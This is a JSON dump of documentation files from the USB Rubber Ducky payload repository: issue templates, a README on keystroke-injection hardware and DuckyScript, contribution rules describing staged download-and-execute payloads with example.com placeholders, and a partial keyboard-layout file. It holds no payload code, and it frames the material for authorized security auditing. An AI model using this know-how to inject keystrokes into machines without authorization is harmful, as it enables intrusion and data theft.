[
  {
    "path": ".github/ISSUE_TEMPLATE/config.yaml",
    "content": "blank_issues_enabled: false\n  contact_links:\n    - name: Need help?\n      url: https://hak5.org/discord\n      about: Feel free to ask a question in our community Discord!\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/payload_bug.yaml",
    "content": "name: Payload Bug\ndescription: Report an issue to help improve payloads provided within this project.  \ntitle: \"[Payload BUG] write a short description here\"\n\nbody:\n  - type: markdown\n    attributes:\n      value: Keep in mind - the more information provided here, the more actionable it will become. Please provide detailed answers to the prompts below. Please read and answer carefully. [Common Ducky Troubleshooting](https://docs.hak5.org/hak5-usb-rubber-ducky/troubleshooting/common-issues)\n\n  - type: markdown\n    attributes:\n      value: If you are simply seeking assistance with a payload contact the payload author or join our [Community discord](https://hak5.org/discord)\n\n  - type: input\n    id: PayloadName\n    attributes:\n      label: \"Payload Title\"\n      description: \"Title of the payload you're experiencing an issue with\"\n      placeholder: \"ex. ExampleTitle\"\n    validations:\n      required: true\n\n  - type: input\n    id: PayloadURL\n    attributes:\n      label: \"Payload URL\"\n      description: \"Provide a direct link (URL) to the payload in question within this repo. Not the payload name. \"\n      placeholder: \"ex. https://github.com/hak5/usbrubberducky-payloads/........\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: Modifications\n    attributes:\n      label: \"Payload Setup\"\n      description: \"Describe what you've done to set up the payload. This includes any required configuration. If any, please list what changes or modifications you have made to the original payload to experience this problem. DO NOT SHARE PRIVATE INFO SUCH AS YOUR DOMAINS OR API KEYS.\"\n      placeholder: \"DO NOT LEAVE THIS BLANK. ex. I changed the DEFINE URL example.com to a domain of my own where I'm hosting xyz\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: Description\n    attributes:\n      label: \"Problem Description\"\n      description: \"A thorough description of the issue\"\n      placeholder: 'DO NOT LEAVE THIS BLANK. ex. Here is what I am trying to do; I did X and expected Y to happen but instead...'\n    validations:\n      required: true\n\n  - type: textarea\n    id: attempts\n    attributes:\n      label: \"Troubleshooting steps\"\n      description: \"List any steps youve taken trying to troubleshoot or solve the problem you're experiencing. \"\n      placeholder: \"DO NOT LEAVE THIS BLANK. ex. I tried A, B, and C, to fix the issue, but...\"\n    validations:\n      required: true\n\n  - type: textarea\n    id: causes\n    attributes:\n      label: \"Suspected Cause\"\n      description: \"Could this be because ...?\"\n      placeholder: \"ex. Maybe this is because...\"\n    validations:\n      required: false\n      \n  - type: textarea\n    id: screenshots\n    attributes:\n      label: \"Screenshots or additional information\"\n      description: \"Please add screenshots or extra details without a specific category if applicable\"\n    validations:\n      required: false\n\n  - type: checkboxes\n    id: checklist\n    attributes:\n      label: \"Checklist ✅ - READ CAREFULLY\"\n      options:\n        - label: \"I checked and didn't find a similar issue already reported\"\n          required: true\n\n        - label: \"I am using PayloadStudio to encode this payload\"\n          required: true\n\n        - label: \"I made sure to redact any private information in the details shared above\"\n          required: true\n\n        - label: \"I have read and followed the documentation provided by the original payload author and configured the payload (if required)\"\n          required: true\n\n        - label: \"I have confirmed I am deploying this payload with the correct device intended by the original author (Original USB Rubber Ducky vs New USB Rubber Ducky)\"\n          required: true\n\n        - label: \"I have confirmed I am deploying this payload on the correct target host intended by the original author (Windows, Mac, Linux, etc)\"\n          required: true\n\n        - label: \"I have confirmed the payload is compiled in the correct keyboard language for the target host I'm trying to deploy it on (US, DE, etc)\"\n          required: true\n\n        - label: \"I have actually read the above checkboxes before checking them, including this one, which I have intentionally left unchecked as confirmation of this statement\"\n          required: false\n\n  - type: checkboxes\n    id: agreement\n    attributes:\n      label: \"Agreement\"\n      options:\n        - label: \"I believe this is an issue with the actual payload itself. I acknowledge this form is not a request for help following instructions.\"\n          required: true\n\n        - label: \"I have carefully read and filled out every section of this issue form to the best of my ability. I acknowledge by providing insufficient information I cannot receieve adequate assistance.\"\n          required: true\n"
  },
  {
    "path": ".gitignore",
    "content": "# MacOS\n.DS_Store\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "### Exported from README.md\n\n<h1><a href='https://payloadhub.com'>Contributing</a></h1>\n\n<p align=\"center\">\n<a href=\"https://payloadhub.com\"><img src=\"https://cdn.shopify.com/s/files/1/0068/2142/files/payloadhub.png?v=1652474600\"></a>\n<br/>\n<a href=\"https://payloadhub.com\">View Featured Payloads and Leaderboard </a>\n</p>\n\n# Please adhere to the following best practices and style guides when submitting a payload.\n\nOnce you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available.\n\nPlease include all resources required for the payload to run. If needed, provide a README.md in the root of your payload's directory to explain things such as intended use, required configurations, or anything that will not easily fit in the comments of the payload.txt itself. Please make sure that your payload is tested, and free of errors. If your payload contains (or is based off of) the work of other's please make sure to cite their work giving proper credit. \n\n\n### Purely Destructive payloads will not be accepted. No, it's not \"just a prank\".\nSubject to change. Please ensure any submissions meet the [latest version](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md) of these standards before submitting a Pull Request.\n\n\n\n## Naming Conventions\nPlease give your payload a unique, descriptive and appropriate name. Do not use spaces in payload, directory or file names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category.\n\n## Staged Payloads\n\"Staged payloads\" are payloads that **download** code from some resource external to the payload.txt. \n\nWhile staging code used in payloads is often useful and appropriate, using this (or another) github repository as the means of deploying those stages is not. This repository is **not a CDN for deployment on target systems**. \n\nStaged code should be copied to and hosted on an appropriate server for doing so **by the end user** - Github and this repository are simply resources for sharing code among developers and users.\nSee: [GitHub acceptable use policies](https://docs.github.com/en/site-policy/acceptable-use-policies/github-acceptable-use-policies#5-site-access-and-safety)\n\nAdditionally, any source code that is intended to be staged **(by the end user on the appropriate infrastructure)** should be included in any payload submissions either in the comments of the payload itself or as a seperate file. **Links to staged code are unacceptable**; not only for the reasons listed above but also for version control and user safety reasons. Arbitrary code hidden behind some pre-defined external resource via URL in a payload could be replaced at any point in the future unbeknownst to the user -- potentially turning a harmless payload into something dangerous.\n\n### Including URLs\nURLs used for retrieving staged code should refer exclusively to **example.com** using DEFINE in any payload submissions [see Payload Configuration section below](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md#payload-configuration). \n\n### Staged Example\n\n**Example scenario: your payload downloads a script and the executes it on a target machine.**\n- Include the script in the directory with your payload\n- Provide instructions for the user to move the script to the appropriate hosting service.\n- Provide a DEFINE with the placeholder example.com for the user to easily configure once they have hosted the script\n\n[Simple Example of this style of payload](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/exfiltration/Printer-Recon)\n\n## Payload Configuration\nBe sure to take the following into careful consideration to ensure your payload is easily tested, used and maintained.\nIn many cases, payloads will require some level of configuration **by the end payload user**. \n\n- Abstract configuration(s) for ease of use. Use `DEFINE` where possible. Best practice is to use labels that start with # for easy identification throughout your payload.\n- Remember to use PLACEHOLDERS for configurable portions of your payload - do not share your personal URLs, API keys, Passphrases, etc...\n- URLs to staged payloads SHOULD NOT BE INCLUDED. URLs should be replaced by example.com. Provide instructions on how to specific resources should be hosted on the appropriate infrastructure.\n- Make note of both REQUIRED and OPTIONAL configuration(s) in your payload using comments at the top of your payload or \"inline\" where applicable\n<pre>\nExample: \n\tBEGINNING OF PAYLOAD \n\t... Payload Documentation... \n\n\tREM CONFIGURATION\n\tREM REQUIRED - Provide URL used for Example\n\tDEFINE #MY_TARGET_URL example.com\n\n\tREM OPTIONAL - How long until payload starts; default 5s\n\tDEFINE #BOOT_DELAY 5000\n\n\tDELAY #BOOT_DELAY\n\t...\n\tSTRING #MY_TARGET_URL\n\t...\n</pre>\n\n## Payload Documentation \nPayloads should begin with `REM` comments specifying the title of the payload, the author, the target, and a brief description.\n<pre>\nExample:\n\tBEGINNING OF PAYLOAD\n\n\tREM Title: Example Payload\n\tREM Author: Korben Dallas\n\tREM Description: Opens hidden powershell and\n\tREM Target: Windows 10\n\tREM Props: Hak5, Darren Kitchen, Korben\n\tREM Version: 1.0\n\tREM Category: General\n</pre>\n"
  },
  {
    "path": "README.md",
    "content": "# Payload Library for the [USB Rubber Ducky](https://hak5.org/products/usb-rubber-ducky?variant=39874478932081) by [Hak5](https://hak5.org)\n\nThis repository contains payloads, extensions and languages for the Hak5 USB Rubber Ducky. Community developed payloads are listed and developers are encouraged to create pull requests to make changes to or submit new payloads.\n\n**Payloads here are written in official DuckyScript™ specifically for the USB Rubber Ducky. Payloads here must be compiled using Hak5 PayloadStudio. Hak5 does NOT guarantee payload functionality.** <a href=\"#legal\"><b>See Legal and Disclaimers</b></a>\n\n\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/github/forks/hak5/usbrubberducky-payloads?style=for-the-badge\"/>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<img src=\"https://img.shields.io/github/stars/hak5/usbrubberducky-payloads?style=for-the-badge\"/>\n<br/>\n<img src=\"https://img.shields.io/github/commit-activity/y/hak5/usbrubberducky-payloads?style=for-the-badge\">\n<img src=\"https://img.shields.io/github/contributors/hak5/usbrubberducky-payloads?style=for-the-badge\">\n</div>\n<br/>\n<p align=\"center\">\n<a href=\"https://payloadhub.com\"><img src=\"https://cdn.shopify.com/s/files/1/0068/2142/files/payloadhub.png?v=1652474600\"></a>\n<br/>\n<a href=\"https://hak5.org/blogs/payloads/tagged/usb-rubber-ducky\">View Featured Ducky Payloads and Leaderboard</a>\n<br/><i>Get your payload in front of thousands. Enter to win over $2,000 in prizes in the <a href=\"https://hak5.org/pages/payload-awards\">Hak5 Payload Awards!</a></i>\n</p>\n\n\n<div align=\"center\">\n<a href=\"https://hak5.org/discord\"><img src=\"https://img.shields.io/discord/506629366659153951?label=Hak5%20Discord&style=for-the-badge\"></a>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<a href=\"https://youtube.com/hak5\"><img src=\"https://img.shields.io/youtube/channel/views/UC3s0BtrBJpwNDaflRSoiieQ?label=YouTube%20Views&style=for-the-badge\"/></a>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<a href=\"https://youtube.com/hak5\"><img src=\"https://img.shields.io/youtube/channel/subscribers/UC3s0BtrBJpwNDaflRSoiieQ?style=for-the-badge\"/></a>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<a href=\"https://twitter.com/hak5\"><img src=\"https://img.shields.io/badge/follow-%40hak5-1DA1F2?logo=twitter&style=for-the-badge\"/></a>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<a href=\"https://instagram.com/hak5gear\"><img src=\"https://img.shields.io/badge/Instagram-E4405F?style=for-the-badge&logo=instagram&logoColor=white\"/></a>\n<br/><br/>\n\n</div>\n\n# Table of contents\n<details open>\n<ul>\n<li><a href=\"#about-the-new-usb-rubber-ducky\">About the USB Rubber Ducky</a></li>\n<li><a href=\"#build-your-payloads-with-payloadstudio\">PayloadStudio (Editor + Compiler)</a></li>\n<li><a href=\"#about-duckyscript\">About DuckyScript™</a></li>\n<li><b><a href=\"#contributing\">Contributing Payloads</a></b></li>\n<li><a href=\"#legal\"><b>Legal and Disclaimers</b></a></li>\n</ul> \n</details>\n\n\n## Shop\n- [NEW USB Rubber Ducky](https://hak5.org/products/usb-rubber-ducky?variant=39874478932081 \"Purchase the NEW USB Rubber Ducky\")\n- [PayloadStudio Pro](https://hak5.org/products/payload-studio-pro \"Purchase PayloadStudio Pro\")\n- [Shop All Hak5 Tools](https://shop.hak5.org \"Shop All Hak5 Tools\")\n## Getting Started\n- [Build and Encode Payloads with PayloadStudio](#build-your-payloads-with-payloadstudio) | [QUICK START GUIDE](https://docs.hak5.org/hak5-usb-rubber-ducky/unboxing-quack-start-guide \"QUICK START GUIDE\") | [Your First Payload](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/hello-world)\n## Documentation / Learn More\n-   [Documentation](https://docs.hak5.org/hak5-usb-rubber-ducky/ \"Documentation\") | [Quick Reference Guide](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-quick-reference \"Quick Reference Guide\")\n-   [Advanced DuckyScript Online Course](https://shop.hak5.org/collections/usb-rubber-ducky-essentials/products/advanced-duckyscript-course \"DuckyScript Online Course\") | [Textbook](https://shop.hak5.org/collections/usb-rubber-ducky-essentials/products/usb-rubber-ducky-textbook \"Textbook\")\n## Community\n*Got Questions? Need some help? Reach out:*\n-  [Discord](https://hak5.org/discord/ \"Discord\") | [Forums](https://forums.hak5.org/forum/111-new-usb-rubber-ducky/ \"Forums\")\n\n\n## Additional Links\n<b> Follow the creators </b><br/>\n<p>\n\t<b>Korben's Socials</b><br/>\t\n\t<a href=\"https://twitter.com/notkorben\"><img src=\"https://img.shields.io/twitter/follow/notkorben?style=social\"/></a>  \n\t<a href=\"https://instagram.com/hak5korben\"><img src=\"https://img.shields.io/badge/Instagram-Follow%20@hak5korben-E1306C\"/></a>\n<br/>\n\t<b>Darren's Socials</b><br/>\n\t<a href=\"https://twitter.com/hak5darren\"><img src=\"https://img.shields.io/twitter/follow/hak5darren?style=social\"/></a>  \n\t<a href=\"https://instagram.com/hak5darren\"><img src=\"https://img.shields.io/badge/Instagram-Follow%20@hak5darren-E1306C\"/></a>\n</p>\n\n<br/>\n<h1><a href=\"https://hak5.org/products/usb-rubber-ducky\">About the NEW USB Rubber Ducky</a></h1>\n\nA \"flash drive\" that types keystroke injection payloads into unsuspecting devices at incredible speeds.\n\n\n<b><div align=\"center\">\n\t<br/>\n<a href=\"https://www.youtube.com/watch?v=meNlOrdQJFo\">Launch Video</a> | \n<a href=\"https://shop.hak5.org/pages/keystroke-reflection\">Introducing Keystroke Reflection</a> |\n<a href=\"https://www.youtube.com/watch?v=hFfo1TdY9hU\">Introducing OS Detection</a>\n<br/><br/>\n</div></b>\n\n<p align=\"center\">\n<a href=\"https://www.youtube.com/watch?v=meNlOrdQJFo\"><img src=\"https://3076592524-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MiIkRK_o3RBhZzUkrzr%2Fuploads%2FCiHTAeL8jlCA3mG7ltCF%2FScreencast%20from%2003-03-2023%2001_08_58%20PM.gif?alt=media\"/></a>\n<br/>\n<i>New USB Rubber Ducky (A+C, DuckyScript 3.0, 2022)</i>\n</p>\n\nComputers trust humans. Humans use keyboards. Hence the universal spec — HID, or Human Interface Device.\n\nA keyboard presents itself as a HID, and in turn it's inherently trusted as human by the computer.\n\nThe USB Rubber Ducky — which looks like an innocent flash drive to humans — takes advantage of this trust to deliver powerful payloads, injecting keystrokes at superhuman speeds. \n\nEasily automate any task you can perform with a keyboard with an easy to learn language designed specifically for the USB Rubber Ducky.\n\n\n\n# About DuckyScript™\n\n## Legacy DuckyScript (1.0)\nHak5 introduced Keystroke Injection in 2010 with the USB Rubber Ducky™. This technique, developed by Hak5 founder Darren Kitchen, was his weapon of choice for automating mundane tasks at his IT job — fixing printers, network shares and the like.\nToday the USB Rubber Ducky is a hacker culture icon, synonymous with the keystroke injection technique it pioneered. It’s found its way into the hearts and toolkits of Cybersecurity and IT pros the world over — including many movies and TV shows!\nCore to its success is its simple language, DuckyScript™. Originally just three commands, it could be learned by anyone—regardless of experience—in minutes.\n\n<b> With the new USB Rubber Ducky in 2022, DuckyScript 3.0 has been introduced.</b>\n## DuckyScript 3.0\nDuckyScript 3.0 is a feature rich, structured programming language. It includes all of the previously available commands and features of the original DuckyScript.\n\n<b>(DuckyScript 3.0 is backwards compatible with DuckyScript 1.0; this means all your favorite DuckyScript 1.0 payloads are valid DuckyScript 3.0) </b>\n\nAdditionally, DuckyScript 3.0 introduces [control flow constructs](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/conditional-statements \"View Documentation\"), [loops](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/loops \"View Documentation\"), [functions](https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/functions \"View Documentation\"), [extensions](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/extensions \"View Documentation\").\nPlus, DuckyScript 3.0 includes many features specific to [keystroke injection](https://docs.hak5.org/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection \"View Documentation\") attack/automation, such as [HID & Storage attack modes](https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes \"View Documentation\"), OS Detection, [Keystroke Reflection](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration#the-keystroke-reflection-attack \"View Documentation\") ([Video + Whitepaper](https://shop.hak5.org/pages/keystroke-reflection \"Keystroke Reflection Video + Whitepaper\")), [jitter](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/jitter \"View Documentation\") and [randomization](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/randomization \"View Documentation\") to name a few.\n\nWhile many of the Hak5 Tools run various versions of DuckyScript; unlike the [Bash Bunny](https://shop.hak5.org/products/bash-bunny), [Key Croc](https://shop.hak5.org/products/key-croc) and even the [officially licenced DuckyScript compatible devices from O.MG](https://shop.hak5.org/collections/mischief-gadgets/ \"O.MG\") - which use `INTERPRETED` versions of DuckyScript - the USB Rubber Ducky uses `COMPILED inject.bin` payloads. \n\n\n_Interpreted DuckyScript means the payload runs straight from `source code` (the code you write e.g. `DELAY 1000`)._\n\n_Compiled DuckyScript means that there is both `source code` and an `inject.bin` generated from the source code. (DuckyScript 1.0 was \"encoded\" rather than \"compiled\" - references to either mean the same)_\n\nThe files in this repository are _the source code_ in the form of `payload.txt` files. \n\n<h1><a href=\"https://shop.hak5.org/collections/usb-rubber-ducky-accessories/products/advanced-duckyscript-course\">Learn DuckyScript directly from the creators</a></h1>\n<p align=\"center\">\n<a href=\"https://shop.hak5.org/collections/usb-rubber-ducky-accessories/products/advanced-duckyscript-course\"><img width=\"500px\" src=\"https://cdn.shopify.com/s/files/1/0068/2142/products/online-course-icon_2000x.png\"/></a>\n\n<p>\nLearn Advanced DuckyScript directly from the creators and unlock creative potential for the USB Rubber Ducky. Covering all aspects of advanced DuckyScript and Keystroke Injection attacks, these practical lessons build on one another from the basics on up.\n\nThis online course includes 7 hours of video instruction covering 54 lessons, 40+ exercises to reinforce your knowledge, quizzes throughout as well as 8 projects to test your skills.\n</p>\n</p>\n\n\n\n<h1><a href=\"https://payloadstudio.hak5.org\">Build your payloads with PayloadStudio</a></h1>\n<p align=\"center\">\nTake your DuckyScript™ payloads to the next level with this full-featured,<b> web-based (entirely client side) </b> development environment.\n<br/>\n<a href=\"https://payloadstudio.hak5.org\"><img width=\"500px\" src=\"https://cdn.shopify.com/s/files/1/0068/2142/products/payload-studio-icon_2000x.png\"></a>\n<br/>\n<i>Payload studio features all of the conveniences of a modern IDE, right from your browser. From syntax highlighting and auto-completion to live error-checking and repo synchronization - building payloads for Hak5 hotplug tools has never been easier!\n<br/><br/>\nSupports your favorite Hak5 gear - USB Rubber Ducky, Bash Bunny, Key Croc, Shark Jack, Packet Squirrel & LAN Turtle!\n<br/><br/></i><br/>\n<a href=\"https://hak5.org/products/payload-studio-pro\">Become a PayloadStudio Pro</a> and <b> Unleash your hacking creativity! </b>\n<br/>\nOR\n<br/>\n<a href=\"https://payloadstudio.hak5.org/community/\"> Try Community Edition FREE</a> \n<br/><br/>\n<img src=\"https://cdn.shopify.com/s/files/1/0068/2142/files/themes1_1_600x.gif?v=1659642557\">\n<br/>\n<i> Payload Studio Themes Preview GIF </i>\n<br/><br/>\n<img src=\"https://cdn.shopify.com/s/files/1/0068/2142/files/AUTOCOMPLETE3_600x.gif?v=1659640513\">\n<br/>\n<i> Payload Studio Autocomplete Preview GIF </i>\n</p>\n\n\n\n\n## DuckyScript Ecosystem\n\n<h3><a href='https://github.com/hak5/usbrubberducky-payloads/blob/master/languages'>Languages </a></h3>\nSupport for different keyboard layouts can be found, modified or contributed to in the <b><a href='https://github.com/hak5/usbrubberducky-payloads/blob/master/languages'> languages/ </a></b> directory of this repository.\n\nCompiling payloads for the correct language / keyboard layout has never been easier:\n\n<a href='https://payloadstudio.hak5.org'> Open PayloadStudio \\> Settings \\> Compiler Settings</a> \n\nPayloadStudio includes all the languages provided in this repo built-in for your convenience. \n\n<a href=\"https://hak5.org/products/payload-studio-pro\">PayloadStudio Pro</a> has a <b>dedicated language editor</b> specifically for editing and building language files! \n\nThe default language is US <a href='https://github.com/hak5/usbrubberducky-payloads/blob/master/languages/us.json'>(languages/us.json)</a>\n\n<h3><a href=\"https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/extensions\">Extensions</a></h3>\nIt should be clear by now that so much is possible with DuckyScript 3.0. The combination of  keystroke injection with various attack modes, logic and data processing, along with the built-in features like randomization and internal variables — the possibilities for advanced payload functions seems endless.\n<p align=\"center\">\n<br/>\n<img src=\"https://cdn.shopify.com/s/files/1/0068/2142/files/payload-studio-extensions_600x.gif?v=1659716795\">\n<br/>\n<i> Payload Studio Extensions Preview GIF</i>\n</p>\n\nAs the payload library continues to grow, so too will the DuckyScript 3.0 language. To that end, the extensions feature of the language and editor facilitate the continued growth of the language.\n<b>Extensions are blocks of reusable code which may be implemented in any payload. Think of them as snippets, or building blocks, upon which your next payload may benefit.</b>\nWhile Hak5 developers cannot envision all possible use cases for the USB Rubber Ducky, the DuckyScript language has been architected in such a way so that the community as a whole may gain new features and abilities with each contributed extension.\n\nExtensions (beyond some first party examples) are currently reserved for collections of helper functions (+ required variables, defines, and configuration options) required to make a complex task simple - abstracting very complex problems down into one or a few calls for the ease of use to others (example: the translate extension).\n\nTo add an extension to your payload, simply start typing the name of the desired extension in your payload from within PayloadStudio then select it from the auto-complete drop down. Alternatively the full library can be found from within the Extensions folder of this repo.\n\n[Read more here](https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/extensions \"Read more here\")\n\n\n<h1><a href='https://payloadhub.com'>Contributing</a></h1>\n\n<p align=\"center\">\n<a href=\"https://payloadhub.com\"><img src=\"https://cdn.shopify.com/s/files/1/0068/2142/files/payloadhub.png?v=1652474600\"></a>\n<br/>\n<a href=\"https://payloadhub.com\">View Featured Payloads and Leaderboard </a>\n</p>\n\n# Please adhere to the following best practices and style guides when submitting a payload.\n\nOnce you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available.\n\nPlease include all resources required for the payload to run. If needed, provide a README.md in the root of your payload's directory to explain things such as intended use, required configurations, or anything that will not easily fit in the comments of the payload.txt itself. Please make sure that your payload is tested, and free of errors. If your payload contains (or is based off of) the work of other's please make sure to cite their work giving proper credit. \n\n\n### Purely Destructive payloads will not be accepted. No, it's not \"just a prank\".\nSubject to change. Please ensure any submissions meet the [latest version](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md) of these standards before submitting a Pull Request.\n\n\n\n## Naming Conventions\nPlease give your payload a unique, descriptive and appropriate name. Do not use spaces in payload, directory or file names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category.\n\n## Staged Payloads\n\"Staged payloads\" are payloads that **download** code from some resource external to the payload.txt. \n\nWhile staging code used in payloads is often useful and appropriate, using this (or another) github repository as the means of deploying those stages is not. This repository is **not a CDN for deployment on target systems**. \n\nStaged code should be copied to and hosted on an appropriate server for doing so **by the end user** - Github and this repository are simply resources for sharing code among developers and users.\nSee: [GitHub acceptable use policies](https://docs.github.com/en/site-policy/acceptable-use-policies/github-acceptable-use-policies#5-site-access-and-safety)\n\nAdditionally, any source code that is intended to be staged **(by the end user on the appropriate infrastructure)** should be included in any payload submissions either in the comments of the payload itself or as a seperate file. **Links to staged code are unacceptable**; not only for the reasons listed above but also for version control and user safety reasons. Arbitrary code hidden behind some pre-defined external resource via URL in a payload could be replaced at any point in the future unbeknownst to the user -- potentially turning a harmless payload into something dangerous.\n\n### Including URLs\nURLs used for retrieving staged code should refer exclusively to **example.com** using DEFINE in any payload submissions [see Payload Configuration section below](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md#payload-configuration). \n\n### Staged Example\n\n**Example scenario: your payload downloads a script and the executes it on a target machine.**\n- Include the script in the directory with your payload\n- Provide instructions for the user to move the script to the appropriate hosting service.\n- Provide a DEFINE with the placeholder example.com for the user to easily configure once they have hosted the script\n\n[Simple Example of this style of payload](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/exfiltration/Printer-Recon)\n\n## Payload Configuration\nBe sure to take the following into careful consideration to ensure your payload is easily tested, used and maintained.\nIn many cases, payloads will require some level of configuration **by the end payload user**. \n\n- Abstract configuration(s) for ease of use. Use `DEFINE` where possible. Best practice is to use labels that start with # for easy identification throughout your payload.\n- Remember to use PLACEHOLDERS for configurable portions of your payload - do not share your personal URLs, API keys, Passphrases, etc...\n- URLs to staged payloads SHOULD NOT BE INCLUDED. URLs should be replaced by example.com. Provide instructions on how to specific resources should be hosted on the appropriate infrastructure.\n- Make note of both REQUIRED and OPTIONAL configuration(s) in your payload using comments at the top of your payload or \"inline\" where applicable\n<pre>\nExample: \n\tBEGINNING OF PAYLOAD \n\t... Payload Documentation... \n\n\tREM CONFIGURATION\n\tREM REQUIRED - Provide URL used for Example\n\tDEFINE #MY_TARGET_URL example.com\n\n\tREM OPTIONAL - How long until payload starts; default 5s\n\tDEFINE #BOOT_DELAY 5000\n\n\tDELAY #BOOT_DELAY\n\t...\n\tSTRING #MY_TARGET_URL\n\t...\n</pre>\n\n## Payload Documentation \nPayloads should begin with `REM` comments specifying the title of the payload, the author, the target, and a brief description.\n<pre>\nExample:\n\tBEGINNING OF PAYLOAD\n\n\tREM Title: Example Payload\n\tREM Author: Korben Dallas\n\tREM Description: Opens hidden powershell and\n\tREM Target: Windows 10\n\tREM Props: Hak5, Darren Kitchen, Korben\n\tREM Version: 1.0\n\tREM Category: General\n</pre>\n\n<h1><a href=\"https://hak5.org/pages/policy\">Legal</a></h1>\n\nPayloads from this repository are provided for educational purposes only.  Hak5 gear is intended for authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Hak5 LLC and affiliates claim no responsibility for unauthorized or unlawful use.\n\nUSB Rubber Ducky and DuckyScript are the trademarks of Hak5 LLC. Copyright © 2010 Hak5 LLC. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means without prior written permission from the copyright owner.\nUSB Rubber Ducky and DuckyScript are subject to the Hak5 license agreement (https://hak5.org/license)\nDuckyScript is the intellectual property of Hak5 LLC for the sole benefit of Hak5 LLC and its licensees. To inquire about obtaining a license to use this material in your own project, contact us. Please report counterfeits and brand abuse to legal@hak5.org.\nThis material is for education, authorized auditing and analysis purposes where permitted subject to local and international laws. Users are solely responsible for compliance. Hak5 LLC claims no responsibility for unauthorized or unlawful use.\nHak5 LLC products and technology are only available to BIS recognized license exception ENC favorable treatment countries pursuant to US 15 CFR Supplement No 3 to Part 740.\n\nSee also: \n\n[Hak5 Software License Agreement](https://shop.hak5.org/pages/software-license-agreement)\n\t\n[Terms of Service](https://shop.hak5.org/pages/terms-of-service)\n\n# Disclaimer\n<h3><b>As with any script, you are advised to proceed with caution.</h3></b>\n<h3><b>Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness.</h3></b>\n"
  },
  {
    "path": "languages/be.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"q\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \",\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"a\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"z\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"w\":\"00,00,1d\",\n    \"&\":\"00,00,1e\",\n    \"\\\"\":\"00,00,20\",\n    \"'\":\"00,00,21\",\n    \"(\":\"00,00,22\",\n    \"!\":\"00,00,25\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \")\":\"00,00,2d\",\n    